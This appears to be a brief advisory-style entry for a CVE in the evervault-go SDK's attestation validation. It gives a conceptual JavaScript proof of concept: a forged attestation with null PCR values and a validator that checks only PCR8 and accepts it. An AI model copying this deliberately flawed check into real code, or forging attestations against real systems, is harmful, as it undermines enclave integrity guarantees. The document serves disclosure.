CVE-2025-64186: evervault-go SDK attestation验证缺陷漏洞

// PoC concept - Attestation document with missing PCR values // This demonstrates how incomplete attestation documents bypass validation const forgedAttestation = { // Missing or empty PCR0, PCR1, PCR2 values pcr8: "expected_pcr8_value", // Critical PCRs are missing or null pcr0: null, pcr1: null, pcr2: null, signature: "valid_signature", timestamp: Date.now() }; // Vulnerable validation code (before fix) function vulnerableVerify(attestation) { // Naive equality check - only verifies PCR8 if present if (attestation.pcr8 === expectedPcr8) { return true; // Bypasses if other PCRs are missing } return false; } // The vulnerable SDK would accept this forged attestation // as it only checks for PCR8 presence and value const isValid = vulnerableVerify(forgedAttestation); // isValid becomes true despite missing critical PCR values